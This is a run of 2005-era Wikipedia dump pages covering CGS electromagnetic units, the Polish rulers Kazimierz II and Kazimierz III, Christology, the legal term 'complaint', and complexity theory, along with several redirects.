There were at various points in time about half a dozen systems of electromagnetic units in use, most based on the cgs system. These include '''[[electromagnetic unit]]s''' ('''emu''', chosen such that the [[Biot-Savart law]] has no constant of proportionality), [[Gaussian units|Gaussian]], and [[Heaviside-Lorentz unit]]s.  A key virtue of the Gaussian CGS system is that electric and magnetic fields have the same units, both &lt;math&gt;\epsilon_0&lt;/math&gt; and &lt;math&gt;\mu_0&lt;/math&gt; are &lt;math&gt;1&lt;/math&gt;, and the only dimensional constant appearing in the equations is &lt;math&gt;c&lt;/math&gt;, the speed of light.  The Heaviside-Lorentz system has these desirable properties as well, but is a &quot;rationalized&quot; system (as is SI) in which the charges and fields are defined in such a way that there are many fewer factors of &lt;math&gt;4 \pi&lt;/math&gt; appearing in the formulas, and it is in Heaviside-Lorentz units that the [[Maxwell equations]] take their simplest possible form.

Further complicating matters is the fact that some physicists and [[Engineering|engineers]] in the United States use hybrid units, such as [[volt]]s per [[centimetre]] for electric field.  However, this also can be seen more as an application of the previously described &quot;LAB&quot; units usage since electric fields near small circuit devices would be measured across distances on the order of magnitude of 1 centimetre.

{| class=&quot;wikitable&quot;
! Dimension
! Unit !! Definition !! SI
|-
! [[electric charge|charge]]
| electrostatic unit of charge, franklin, [[statcoulomb]] || 1 esu = 1 statC = 1 Fr = √(g·cm³/s²) || = 3.3356 × 10&lt;sup&gt;−10&lt;/sup&gt; [[coulomb|C]]
|-
! [[electric potential]]
| [[statvolt]] || 1 statV = 1 erg/esu || = 299.792458 [[volt|V]]
|-
! [[electric field]]
| || 1 statV/cm = 1 dyn/esu ||  = 2.99792458 × 10&lt;sup&gt;4&lt;/sup&gt; V/m
|-
! [[magnetic field strength]] '''H'''
| [[oersted]] || 1 Oe || = 1000/(4π) A/m = 79.577 A/m
|-
! [[magnetic flux]]
| [[maxwell]] || 1 M = 1 G·cm² || = 10&lt;sup&gt;−8&lt;/sup&gt; [[Weber (Wb)|Wb]]
|-
! [[magnetic induction]] '''B'''
| [[gauss]] || 1 G = 1 M/cm² || = 10&lt;sup&gt;−4&lt;/sup&gt; [[tesla (unit)|T]]
|-
! [[electrical resistance|resistance]]
| || 1 s/cm ||  = 8.988 × 10&lt;sup&gt;11&lt;/sup&gt; [[ohm (unit)|Ω]]
|-
! [[electrical resistivity|resistivity]]
| || 1 s ||   = 8.988 × 10&lt;sup&gt;9&lt;/sup&gt; Ω·m
|-
! [[capacitance]]
| || 1 cm || = 1.113 × 10&lt;sup&gt;−12&lt;/sup&gt; [[farad|F]]
|-
! [[inductance]]
| || 1 s²/cm || = 8.988 × 10&lt;sup&gt;11&lt;/sup&gt; [[henry (inductance)|H]]
|}

The [[Significand|mantissa]]s derived from the [[speed of light]] are more precisely 299792458, 333564095198152, 1112650056, and 89875517873681764.

A centimetre of capacitance is the capacitance between a sphere of radius 1 cm in vacuum and infinity. The capacitance ''C'' between two spheres of radii ''R'' and ''r'' is
: &lt;math&gt;\frac{1}{\frac{1}{r}-\frac{1}{R}}&lt;/math&gt;.
By taking the limit as ''R'' goes to infinity we see ''C'' equals ''r''.

== See also ==
* [[Scientific units named after people]]
* [[Metric system]]
* [[Units of measurement]]

[[Category:Systems of units]]
[[Category:CGS units| ]]

[[bg:Система сантиметър-грам-секунда]]
[[ca:CGS]]
[[de:CGS-Einheitensystem]]
[[es:Sistema cegesimal]]
[[eo:CGS]]
[[fr:Système CGS]]
[[it:Sistema CGS]]
[[he:יחידות cgs]]
[[ja:CGS単位系]]
[[pl:Układ jednostek miar CGS]]
[[pt:Sistema CGS de unidades]]
[[ru:СГС]]
[[sv:Cgs-systemet]]</text>
    </revision>
  </page>
  <page>
    <title>Kazimierz II the Just</title>
    <id>7348</id>
    <revision>
      <id>32851607</id>
      <timestamp>2005-12-27T07:00:12Z</timestamp>
      <contributor>
        <username>Logologist</username>
        <id>127681</id>
      </contributor>
      <comment>Edit.</comment>
      <text xml:space="preserve">[[Image:Kazimierz Sprawiedliwy.jpg|thumbnail|200px|right|Kazimierz II the Just.  Drawing by [[Jan Matejko]].]]

'''Kazimierz II the Just''' ([[Polish language|Polish]]: '''''Kazimierz II Sprawiedliwy'''''; [[1138]] – [[May 5]], [[1194]]), of the [[Piast Dynasty]], was the youngest son of [[Bolesław III Wrymouth]] by Salome von Berg-Schelklingen, daughter of Henry, Duke of Berg. 

Kazimierz reigned as [[Duke]] of [[Kraków]] and senior [[prince]] of [[Poland]] (see [[Seniorate]]) from [[1177]] until his death. 

Born shortly before or after his father's death, and omitted (possibly for that reason) from Bolesław's will dividing the kingdom among Kazimierz's four elder brothers, he set about securing the basis for a claim to power.  In [[1167]] he inherited from his brother Henryk the dukedom of [[Wiślica]], and in [[1173]] he obtained that of [[Sandomierz]]. 

In [[1177]], a rebellion by [[Lesser Poland]] lords against [[Mieszko III the Old]] led to the elevation of Kazimierz to the [[Kraków]] throne.  In [[1180]] he won acceptance, by the nobility and clergy, of the principle of hereditary succession to the Kraków dukedom, though it would take more than a century to restore the Polish kingship.
 
* Children: [[Konrad of Mazovia]], [[Leszek the White]]

==See also==
* [[History of Poland (966-1385)]]

{{Monarchs of Poland}}


{{royal-stub}}
{{Poland-noble-stub}}

[[Category:Polish monarchs]]
[[Category:Dukes of Masovia]]
[[Category:1138 births]]
[[Category:1194 deaths]]

[[de:Kasimir II.]]
[[fr:Casimir II le Juste]]
[[ja:カジミェシュ2世]]
[[pl:Kazimierz II Sprawiedliwy]]
[[ru:Казимир II]]</text>
    </revision>
  </page>
  <page>
    <title>Causes of homosexuality</title>
    <id>7350</id>
    <revision>
      <id>15905422</id>
      <timestamp>2005-05-10T02:16:10Z</timestamp>
      <contributor>
        <username>Beland</username>
        <id>57939</id>
      </contributor>
      <minor />
      <comment>Fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Sexual orientation]]</text>
    </revision>
  </page>
  <page>
    <title>Casimir III the Great</title>
    <id>7352</id>
    <revision>
      <id>32106895</id>
      <timestamp>2005-12-20T15:14:18Z</timestamp>
      <contributor>
        <username>Appleseed</username>
        <id>404133</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Kazimierz III the Great]]</text>
    </revision>
  </page>
  <page>
    <title>Complexity theory (computation)</title>
    <id>7353</id>
    <revision>
      <id>15905425</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Computational complexity theory]]
</text>
    </revision>
  </page>
  <page>
    <title>Complexity theory in computation</title>
    <id>7354</id>
    <revision>
      <id>15905426</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Computational complexity theory]]
</text>
    </revision>
  </page>
  <page>
    <title>Christology</title>
    <id>7355</id>
    <revision>
      <id>39736661</id>
      <timestamp>2006-02-15T14:25:55Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Ced.</comment>
      <text xml:space="preserve">{{Jesus}}
'''Christology''' is that part of [[Christian theology]] that studies and defines who [[Jesus]] the [[Christ]] was and is. It is generally less concerned with the minor details of his life; rather it deals with who he was, the [[incarnation]], and the major events of his life (his birth, death, and [[Resurrection of Jesus|resurrection]]).

Important issues in Christology include:
*His human nature
*His divine nature
*The interrelationship between these two natures; how they interacted and affected each other

Christology may also cover questions concerning the nature of God like the   [[Trinity]], [[Unitarianism]] or [[Binitarianism]], and what, if anything, Christ accomplished for the rest of humanity. There are almost as many Christological views as there are variants of Christianity. The different Christological views of various Christian sects have led to accusations of [[heresy]], and subsequent [[religious persecution]]. In many cases, a sect's unique christology is its chief distinctive feature; in these cases it is common for the sect to be known by the name given to its christology.
 
==Controversies concerning those who deny Christ's divine nature==

Some important controversies have included the controversy with [[Arianism|Arians]] over Christ's divinity and relationship with the Father, which led to the adoption of the [[Nicene Creed|Nicene-Constantinople Creed]]; the controversy over [[Nestorianism]], and that over [[Monophysitism]] (and its derivates [[Monothelitism]] and [[Monoenergism]]) which led to the first Seven Ecumenical Councils and their many decrees, canons and professions of faith. The adoption of the [[Council of Chalcedon|Chalcedonian]] view of Christology was, as [[Karl Rahner]] would say, key to the beginning of Christological Discussion. Other controversies in Christology included the [[Docetism|Docetists]] and the [[Adoptionism|Adoptionists]].

We can describe most of these in terms of whether they believed Christ had a divine nature, human nature or both; and if both, in terms of how the two natures coexisted or interacted. All of these views will be presented in simplified form; see the related articles for more complete treatment.

Perhaps the earliest dispute within Christianity centered on whether Jesus was God. A number of early Christians believed that Jesus was not divine, but was simply a human [[Moshiach]] prophet promised in the [[Old Testament]], see Deuteronomy 18. This heresy, that believed that Jesus was simply a prophet as promised in the Old Testament, and not truly One with the Father, as the Second Person of the Trinity, True God and True Man, was known as the [[Ebionites|Ebionite]] heresy, and was the first Heresy. It originated in the Judeo-Christian community in Nazareth. The inclusion of the genealogies of Jesus Christ at [[Matthew 1]]:[[Matthew 1:1|1]]-[[Matthew 1:17|17]] and [[Luke]] 3:23-38 are used to explain  the belief that Jesus is the Christ from the line of David. An alternative explanation is that Christ's natures were in opposition to each other; this is known as the [[Gnostic]] anti-Christian doctrines - hence considered a heresy - that Jesus Christ only had the illusion of a human body and, thus, no human ancestry at all.  The belief that Jesus was only human was opposed by church leaders such as [[Paul of Tarsus|Paul]] and eventually came to be held only by heretical sects, which were soon subsumed by [[orthodox]] churches anyway, therefore these heretical beliefs went out of fashion due to the acceptance of true teaching and scholarly exegesis. 

A position that is held by many who believe in [[Binitarianism]] is that Jesus was the Word, and thus God (John 1), before His birth, that He was not fully God while on Earth in the sense that He could do nothing of Himself (John 5:19,30;8:28), and that Jesus became fully God after the resurrection with all authority (Matthew 28:18) and power of God as He had prior to His incarnation is also considered by most Orthodox Christian scholars as a modern day heresy.  

The Chalcedonian view is summarized by the creed of Nicea-Constantinople which was ecumenically accepted at the Council of Chalcedon. This view is that Christ &quot;possesses two natures,&quot; divine and human, which are united in the one person of Jesus Christ without either nature losing any of its properties nor uniqueness but without any separability. This creed was adapted at the [[Council of Chalcedon]], and was greatly influenced by the Tome of Leo which Pope Leo I sent to be read at that council. It is the dogma of the Catholic and Eastern Orthodox churches, and is also the view of the [[Anglican]] church, and many [[Protestant]] churches. One of the doctrines relating in depth to the nature of Jesus while on earth is [[kenosis]].

Some other views lessen the extent to which Jesus was divine, one of which is the [[Arianism|Arian]] view that Christ is ''not fully divine'', but was created by God for the purpose of accomplishing salvation.

==Controversies concerning those who deny Christ's human nature==

Yet other views made the claim that Jesus was fully divine but not fully human. The strict [[Monophysite]] view is that the human nature of Christ was dissolved or consumed by the Divine, whereas the Miaphysite view is that Christ exists as a hybrid nature, simultaneously human and Divine, unique in the universe. The [[Docetism|Docetist]] view is that Christ was ''never fully human'', but only appeared to be human. Semi-docetism only partially denies humanity, usually by asserting that Christ was ''not subject'' to temptation nor to any of the normal human frailties of hunger, fatigue, or fear of death. 

Other views support the idea of Jesus as a man, for example, the [[Nestorianism|Nestorian]] view is that the divine, and the man, shared the same body but retained two separate personhoods. The [[Adoptionism|Adoptionist]] view is that Jesus was born a man only, but ''became God's son by adoption'' when he was baptized in the Jordan, whereas [[Psilanthropism]] is the view that Jesus is literally &quot;only man&quot;, and not in any way divine.

There is also the Messianic Jewish view that Yeshuwah and YHWH are the same entity, with Ruach haQodesh and 'Elohiym being separate parts of the G-dhead. YHWH appears in the TaNaKh, while Yeshuwah is the incarnate form of YHWH found in the Briyth Chadashah. In this view, Yeshuwah is born fully man and becomes fully G-d upon His baptism by Ruach haQodesh (symbolizing our inclusion into the family of G-d upon our own baptism with Ruach haQodesh).

It could also be argued that Roman Catholics and Calvinists, who believe in a strict concept of original sin also fully or partially deny the human nature of Christ. The Catholic doctrine of the immaculate conception of Mary is but one of several necessary doctrinal bulkheads  implemented in the wake of the dogma of original sin.

Roman Catholics and Calvinists follow St Augustine’s teachings on original sin in believing that human beings inherit not only the tendency and urges to sin, but the actual guilt of sin as well.  They commonly cite Paul’s statement &quot;Therefore as sin came into the world through one man and death through sin, and so death spread to all men because all men sinned.&quot; (Rom 5:12 NRSV).  However this leaves the question of Jesus Christ in an untenable position.  If we are all born with the actual guilt of sin, then Christ was also born a sinner.

In order to get around the concept that Jesus was born a sinner, the Catholic dogma on the immaculate conception of Mary took shape.  This doctrine should not be confused with the immaculate conception of Jesus.

According to common Catholic understandings, Mary the mother of Jesus was preserved by God from the stain of original sin by being born totally sinless.  Mary is then said to have never sinned ever in her life.  The net result of this doctrine is that when Jesus was born, he did not inherit the same sinful nature as the rest of humanity.  He was born with the nature of Adam before the fall, not after the fall like the rest of us.

The problem of this is it denies Christ the same frail post-fall human nature we all have to live with.  It also appears inconsistent with a number of other statements by the Apostle Paul:

- &quot;For God has done what the law, weakened by the flesh, could not do: sending his own Son in the likeness of sinful flesh and for sin, he condemned sin in the flesh, in order that the just requirement of the law might be fulfilled in us, who walk not according to the flesh but according to the Spirit&quot; (Romans 8:3-4).  

- “Since the children have flesh and blood, he too shared in their humanity so that by his death he might destroy him who holds the power of death—that is, the devil— and free those who all their lives were held in slavery by their fear of death. For surely it is not angels he helps, but Abraham's descendants. For this reason he had to be made like his brothers in every way, in order that he might become a merciful and faithful high priest in service to God, and that he might make atonement for[f]the sins of the people. Because he himself suffered when he was tempted, he is able to help those who are being tempted” (Hebrews 2:14-18).

Other Christians such as Eastern Orthodox or Protestants like Seventh Day Adventists would claim that Roman Catholics and Calvanists fail to understand the real nature and origin of sin.  They would claim that there is a big difference between the tendency or urge to sin (i.e. temptation) and the actual act of sinning (see section on original sin).

Eastern Orthodox and Adventists would argue that Paul is stating that Christ, like any other human being, inherited the same frail human body as the rest of humanity. Christ nor any other human inherits the actual guilt of sin.  What Christ inherited was the tendency and urge to sin. Christ’s temptation is testament to this. He felt the same kind of hunger, the same weaknesses. 

- &quot;For this reason [Jesus] had to be made like his brothers in every way, in order that he might become a merciful and faithful high priest in service to God, and that he might make atonement for the sins of the people&quot; (Hebrews 2:17).

An Eastern Orthodox and Adventists might argue that understanding Christ’s human nature is just as crucial to understanding His mission and earthly ministry as understanding His divine nature. 

- “Many deceivers, who do not acknowledge Jesus Christ as coming in the flesh, have gone out into the world. Any such person is the deceiver and the antichrist” (2 John 7).

==Christological views reflected in names and titles of Jesus==
(see [[Names and titles of Jesus in the New Testament]] for the views of critical scholars)

===Christ the King===
In Roman Catholic theology, one title given to Jesus is &quot;[[Christ King|Christ the King]]&quot;, and there is a feast day associated with this title. This title is meant to say that Christ should rule over all aspects of life, including political life. Thus, this title is opposed to [[secularism]].
[[Category:Jesus]]
[[Category:Lists of names|Jesus]]

===King of Kings and Lord of Lords===
[[Handel]] referred to Jesus as &quot;[[King of Kings]]&quot; and &quot;Lord of Lords&quot; in his [[Messiah (Handel)|Messiah]] [[oratorio]], a reference to [[1st Timothy]] 6:15.

===King of Heaven===
There is a long tradition of using this title for both Christ and God the Father, especially in medieval Catholicism. For instance, St. Joan of Arc used phrases such as &quot;King Jesus, King of Heaven and of all the world, my rightful and sovereign Lord&quot; (in a [http://archive.joan-of-arc.org/joanofarc_letter_july_17_1429.html letter she dictated on [[17 July]] [[1429]]]).

[[Image:Ushakov Nerukotvorniy.jpg|thumb|150px|Icon of the &quot;[[Image of Edessa|Made Without Hands]]&quot; type, with «{{polytonic|ὁ Ὤν}}» inscribed in the cross in the halo. The &quot;IC XC&quot; abbreviation appears in the upper corners.]]

===HO ON===
In [[Exodus]] 3 when God appeared in the [[burning bush]], [[Moses]] asked by what name he should be called.  In the [[Septuagint]] translation God replied «{{polytonic|ἐγώ εἰμι ὁ Ὤν}}». «{{polytonic|Ὁ Ὤν}}» (HO ON) translates the [[Hebrew language|Hebrew]] «אהיה», but a rendering in English has been seen as problematic. It is variously given as &quot;I AM&quot;, &quot;The Existing One&quot;, &quot;He Who Is&quot;, &quot;THE BEING&quot;, or similar senses. In [[Eastern Orthodox Church|Eastern Orthodox]] [[icon]]s Jesus is usually portrayed with a cross inscribed in his [[halo]], and by way of identifying him with the God who revealed himself to Moses the letters {{polytonic|ὁ, Ὤ, and ν}} are often written in its branches.

===Abbreviations===

[[Image:JHS-IHS-Christogram.png|right|thumb|150px|IHS or JHS [[Christogram]] of western Christianity]]

Starting in the third century the nomina sacra, or names of Jesus, were sometimes shortened by contraction in Christian inscriptions, resulting in sequences of Greek letters such as IH (iota-eta), IC (iota-sigma), or IHC (iota-eta-sigma) for Jesus (Greek Iēsous), and XC (chi-sigma), XP (chi-ro) and XPC (chi-rho-sigma) for Christ (Greek Christos).  Here &quot;C&quot; represents the medieval &quot;lunate&quot; form of Greek sigma; sigma could also be transcribed into the Latin alphabet by sound, giving IHS and XPS.  Some of these Greek monograms continued to be used in Latin during the Middle Ages. Eventually the correct meaning was mostly forgotten, and erroneous interpretation of IHS led to the faulty orthography &quot;Jhesus&quot;.  Towards the close of the Middle Ages IHS became a symbol with the &quot;H&quot; appearing as a cross and underneath it three nails, while the whole figure is surrounded by rays. IHS became the accepted iconographical characteristic of St. Vincent Ferrer and of St. Bernardine of Siena.  Bernardine, at the end of his sermons would exhibit this monogram devoutly to his audience for which he was criticized and even brought before [[Pope Martin V]].  The [[Society of Jesus]] (Jesuits) founder, [[Ignatius of Loyola]] adopted the monogram in his seal and it became the emblem of his institute. IHS was sometimes wrongly understood as &quot;Jesus Hominum (or Hierosolymae) Salvator&quot;, i.e. Jesus, the Saviour of men (or of Jerusalem=Hierosolyma).

==Print resources==
*Brown, Raymond E.  ''An Introduction to New Testament Christology.''  Mahwah, NJ: Paulist Press, 1994.  ISBN 0809135167
*[[Martin Chemnitz|Chemnitz, Martin]].  ''The Two Natures in Christ.'' [[J. A. O. Preus]], trans.  St. Louis: Concordia Publishing House, 1970.  ISBN 0570032105
*Karkkainen, Veli-Matti. ''Christology: A Global Introduction.''  Grand Rapids: Baker Academic, 2003.  ISBN 0801026210
*Matera, Frank J.  ''New Testament Christology.''  Louisville: Westminster John Knox Press, 1999.  ISBN 0664256945
* Norris, Richard A. and William G. Rusch.  ''The Christological Controversy.''  Sources of Early Christian Thought Series.  Minneapolis: Augsburg Fortress, 1980.  ISBN 0800614119
*O'Collins, Gerald.  ''Christology: A Biblical, Historical, and Systematic Study of Jesus Christ.''  Oxford: Oxford University Press, 1995.  ISBN 0198755023
*[[Albert Outler|Outler, Albert C.]]  ''Christology''.  Bristol House, 1996. ISBN 1885224087 
*Ratzinger, Cardinal Joseph. ''Introduction to Christianity.'' San Francisco: Ignatius Press, 1969. ISBN I-58617-029-5
*Scaer, David P.. ''Christology Confessional Lutheran Dogmatics Vol. VI'' Northville, SD: The Luther Academy, 1989. ISBN 0-9622791-6-1
*Marchesi S.J., Giovanni. ''Gesu di Nazaret:Chi Sei? Lineamenti di cristologia.'' San Paolo Edizioni. 2004. ISBN: 8821552187

==External links==
* [http://www.religionfacts.com/christianity/beliefs/christ.htm Christology: Beliefs about the Nature of Christ] - ReligionFacts.com
* [http://www.cogwriter.com Binitarian View: One God, Two Beings from Before the Beginning]  Historical and biblical arguments favoring binitarianism.
* [http://www.gotquestions.org/Christology.html What is Christology?]
*[http://www.christiantruthanditsdefense.org/ Christian Truth and its Defense] Exposition and defense on the teachings of Christ and proofs of His historicity as told in the gospels.
*[http://www.rosicrucian.com/zineen/magen211.htm Rosicrucians: Jesus and Christ Jesus] (esoteric Christian view)

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In general use, a '''complaint''' is an expression of displeasure, such as poor service at a [[store]], or from a [[local government]], for example.

In the [[common law]], a '''complaint''' is a formal legal document that sets out the basic facts and legal reasons (see: [[cause of action]]) that the [[filing]] party (the [[plaintiff]]s) believes are sufficient to support a claim against another person, persons, entity or entities (the [[defendant]]s) that entitles the plaintiff(s) to a [[remedy]] (either [[money damages]] or [[injunctive relief]]).  See also [[petition]] and [[pleading]].

In criminal cases, it is a '''criminal complaint''' ('''felony complaint''') and the plaintiff is the State (also sometimes called the People) or Crown (in the [[Commonwealth of Nations]]) as the source of the [[prosecutor]]'s authority emanates from the [[police power]] of the state with the defendant being the accused who faces criminal [[sanction]]s.

==See also==
* [[Petition]]
* [[Pleading]]
* [[Service of process]]


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    <title>Kazimierz III the Great</title>
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      <text xml:space="preserve">[[Image:CasimirtheGreat.jpg|266px|right|thumb|Kazimierz III the Great by [[Jan Matejko]]]]
'''Kazimierz III the Great''' ([[Polish language|Polish]]: '''''Kazimierz Wielki'''''; [[1310]] – [[1370]]), [[List of Polish rulers|King of Poland]], was the son of King [[Władysław I the Elbow-high]] and [[Jadwiga of Gniezno]] and Great Poland. 

== Biography ==

Kazimierz the Great married firstly Anna, or [[Aldona Ona]], the daughter of the prince of [[Lithuania]], [[Gediminas]]. Their daughters were Cunigunda (d 1357), who was married to [[Louis VI the Roman]], the son of [[Louis IV, Holy Roman Emperor]], and Elisabeth, who was married to Duke Bogislaus V of Pomerania. Kazimierz then married [[Adelheid of Hessen|Adelheid]] of [[Hessen]], and this was the start of his bigamous marriage career.  He divorced Adelheid in 1356, married a lady named Christina, divorced her, and fourthly (when at least Adelheid and possibly also Christina were alive) c. 1365 married Jadwiga of Glogow and Sagan. His daughters by his fourth wife were very young and regarded as of dubious legitimacy because of their father's bigamy.

When Kazimierz, the last [[Piast]] king of Poland, died in 1370, his nephew king [[Louis I of Hungary]] succeeded him to become king of [[Poland]] in personal union with [[Hungary]]. 

=== The Great King ===
[[Image:Krakow nagrobek Kazimierza W.jpg|thumb|right|Sarcophagus of Kazimierz the Great at  [[Wawel Cathedral]].]]
Kazimierz is the only Polish king who did receive and maintain the title of '''the great''' in Polish history ([[Boleslaw I Chrobry]] was once also called ''the great'', but not today), and the title is well deserved. When he received the crown, his hold on it was in danger, as even his neighbours did not recognise his title and instead called him &quot;king of [[Kraków]]&quot;. The [[economic system|economy]] was ruined, and country was depopulated and tired with wars. When he left the country, it had doubled in size (mostly through  joining lands in today's [[Ukraine]], then Duchy of [[Halicz]]), grew prosperous, wealthy and had great prospects to the future. Although he is depicted as a peaceful king in children books, he in fact waged many victorious wars and was preparing other ones just before he died.
[[Image:Pieczec Kazimierz Wielki.jpg|right|thumb|150px|Royal seal of Kazimierz the Great.]]
He built many new [[castle]]s, reformed the Polish [[army]] and Polish [[Civil law (private law)|civil law]] and [[criminal law]]. At the [[Sejm]] in [[Wislica]], March 11, [[1347]], he introduced salutary legal reforms in the jurisprudence of his country. He sanctioned a code of laws for Great and Little Poland, which gained for him the title of &quot;the Polish Justinian&quot;; and he also limited the [[interest rate]] charged by Jewish money-lenders to Christians to 8 % per annum, while a 108-180% was previously common (owing to extremely high and unstable inflation rates, significantly lower interest rates would result in net losses for the lender. For example, in 1264 the King of Austria had capped Jewish money-lenders' interest rates at 8 dinars on the talent, approximately 170% at the time). This measure was passed after consistent pressure by the [[szlachta]] of the [[Sejm]] (who were primary clients of Jewish money-lenders). This measure was to the detriment of the King, who later affirmed that Jews be allowed to loan on interest as &quot;property&quot; of the King, in order to supplement the King's income when needed. He founded the [[University of Kraków]], although his death stalled the university's development (which is why it is today called the &quot;Jagiellonian&quot; rather than &quot;Casimirian&quot; University).

He organized a meeting of kings at Kraków (1364) in which he exhibited the wealth of the Polish kingdom.

=== Concession to szlachta ===

In order to enlist the support of nobleman ([[szlachta]]), especially the military help of [[pospolite ruszenie]], Kazimierz was forced to give up important privileges to their caste, which made them finally clearly dominant over townsfolk ([[burgher]]s or ''mieszczanstwo'').
[[Image:Wiec Kazimierz Wielki.jpg|thumb|left|250px|[[14th century|14th-century]] ''[[wiec]]'', in the reign of Kazimierz the Great.]]

In [[1335]], in the &quot;treaty of [[Trenčín]]&quot;, Kazimierz relinquished for &quot;eternal times&quot; his claims to [[Silesia]]. 
In [[1355]] in [[Buda]] Kazimierz designated Louis of Anjou (Louis I of Hungary) as his successor. In exchange, the szlachta's tax burden was reduced and they would no longer be required to pay for military expeditions expenses outside Poland. Those important concessions would eventually lead to the rise of uthe nique [[Nobles' Democracy|noble's democracy]] in the [[Polish-Lithuanian Commonwealth]].

His second daughter, Elisabeth, Duchess of Pomerania, bore a son in 1351, named after his maternal grandfather as [[Kazimierz of Pomerania]]. He was slated to become the heir, but did not succeed. He died childless in 1377, 7 years after King Kazimierz. He was the only male descendant of King Kazimierz who lived during his lifetime.

Also, his son-in-law Louis of Bavaria-Brandenburg was thought as a possible successor. However, he was not deemed very capable, and his wife had died already in 1357, without children.

Kazimierz had no sons. Apparently he deemed his own descendants either unsuitable to inherit or too young.  Thus, and in order to provide a clear line of succession instead of problems of uncertainty, he arranged for his sister Elisabeth, Dowager Queen of Hungary, and her son Louis king of Hungary to be his successors in Poland. Louis was proclaimed king in Kazimierz's death 1370, and Elisabeth held much of the practical power until her death in 1380.
[[Image:50zl r.jpg|thumb|right|200px|Polish 50-''[[złoty]]'' [[banknote]] with image of Kazimierz the Great.]]

Many of the influential lords of Poland were unsatisfied with any personal union with Hungarians, and 12 years after Kazimierz's death, and only a couple of years after Elisabeth's, they refused in 1382 to accept the succession of Louis's eldest surviving daughter Mary (Queen of  Hungary) in Poland too. They therefore chose Mary's younger sister, Hedvig, as their new monarch, and she became &quot;King&quot; (=Queen Regnant) [[Jadwiga of Poland]], thus restoring the independence enjoyed until the death of Kazimierz, twelve years earlier.

=== Relationship with Polish Jews ===

He was favorably disposed toward [[Jew]]s. On [[October 9]], [[1334]], he confirmed the privileges granted to Jewish Poles in [[1264]] by [[Boleslaus V]]. Under [[penalty of death]], he prohibited the kidnapping of Jewish children for the purpose of forcible [[Christianity|Christian]] [[baptism]]. He inflicted heavy punishment for the desecration of [[Jewish]] [[cemeteries]].

Although [[Jew]]s were living in Poland earlier, Kazimierz allowed them to settle in Poland in great numbers and protected them as ''people of the king''.

[[Image:Herb Orzel Piastowski.jpg|200px|thumb|left|Piast Eagle coat-of-arms.]]

==See also==
* [[History of Poland (966-1385)]]

{{Monarchs of Poland}}

[[Category:Polish monarchs]]
[[Category:1310 births]]
[[Category:1370 deaths]]

[[be:Казімір III Вялікі]]
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      <text xml:space="preserve">{{dablink|For the [[Electronic sports|professional gaming]] team, see [[Complexity Gaming]].}}

'''Complexity''' is the opposite of [[simplicity]].

Complexity in systems or behaviour is often described as what is &quot;on the [[edge of chaos]]&quot; - between order and [[randomness]].

==Study of complexity==

Complexity has always been a part of our environment, and therefore many [[science|scientific]] fields have dealt with complex systems and phenomena. Indeed, some would say that only what is somehow complex - what displays variation without being purely [[randomness|random]] - is worthy of interest.

While this has led some fields to come up with specific definitions of complexity, there is a more recent movement to regroup observations [[interdisciplinarity|from different fields]] in order to study complexity in itself, whether it appears in [[anthill]]s, [[human brain]]s, or [[stock market]]s.

===Complex systems===
{{main|Complex system}}

[[Systems theory]] has long been concerned with the study of [[complex system]]s (In recent times, '''complexity theory''' and '''complex systems''' have also been used as names of the field). These [[system]]s can be [[biological]], [[economic]], [[technology|technological]], etc.

Complex systems tend to be high-[[dimension]]al and [[non-linearity|non-linear]], but may exhibit low dimensional behaviour.

==== Complex mechanisms ====

Recent development around [[artificial life]], [[evolutionary computation]] and [[genetic algorithm]]s have led to an increasing emphasis on complexity and [[complex adaptive systems]].

==== Complex simulations ====

In [[social science]], the study on the emergence of macro-properties from the micro-properties, also known as macro-micro view in [[sociology]]. The topic is commonly recognized as [[social complexity]] that is often related to the use of [[computer simulation]] in social science, i.e.: [[computational sociology]]

==== Complex behaviour ====

Complex systems's behaviour is often due to [[emergence]] and [[self-organization]]

[[Chaos theory]] has investigated the sensitivity of systems to variations in initial conditions as one cause of complex behaviour.

One of the main claims in [[Stephen Wolfram]]'s book ''[[A New Kind of Science]]'' is that such behaviour can be generated by simple systems, such as the [[rule 110 cellular automaton]].

=== Complexity in data ===

In [[information theory]], [[algorithmic information theory]] is concerned with the complexity of [[string (computer science)|strings]] of data. 

Complex strings are harder to compress.  While intuition tells us that this may depend on the [[codec]] used to compress a string (a codec could be theoretically created in any arbitrary language, including one in which the very small command &quot;X&quot; could cause the computer to output a very complicated string like '18995316'&quot;), any two [[Turing completeness|Turing-complete]] languages can be implemented in each other, meaning that the length of two encodings in different languages will vary by at most the length of the &quot;translation&quot; language - which will end up being negligible for sufficiently large data strings.

It should be noted that these algorithmic measures of complexity tend to assign high values to [[signal noise|random noise]]. However, those studying complex systems would not consider [[randomness]] as complexity.

[[Information entropy]] is also sometimes used in information theory as indicative of complexity.

=== Complexity of problems ===

[[Computational complexity theory]] is the study of the complexity of problems - that is, the difficulty of [[problem solving|solving]] them. Problems can be classified by [[complexity class]] according to the time it takes for an algorithm to solve them as function of the [[problem size]]. For example, the [[travelling salesman problem]] can be solved in time &lt;math&gt;O(n^22^n)&lt;/math&gt; (where ''n'' is the size of the network to visit).

== Specific meanings ==

In several scientific fields, &quot;complexity&quot; has a specific meaning :

* In [[computational complexity theory]], the '''time complexity''' of a problem is the number of steps that it takes to solve an instance of the problem as a function of the [[problem size|size of the input]] (usually measured in bits), using the most efficient [[algorithm]]. This allows to classify problems by [[complexity class]] (such as [[P (complexity)|P]], [[NP (complexity)|NP]] ... ) such analysis also exists for space, that is, the [[computer storage|memory]] used by the algorithm.
* In [[algorithmic information theory]], the '''Kolmogorov complexity''' (also called '''descriptive complexity''' or '''algorithmic entropy''') of a [[string (computer science)|string]] is the length of the shortest binary [[computer program|program]] which outputs that string.
*In [[information processing]], complexity is a measure of the total number of [[property|properties]] transmitted by an [[object]] and detected by an [[observer]].  Such a collection of properties is often referred to as a [[state (computer science)|state]].
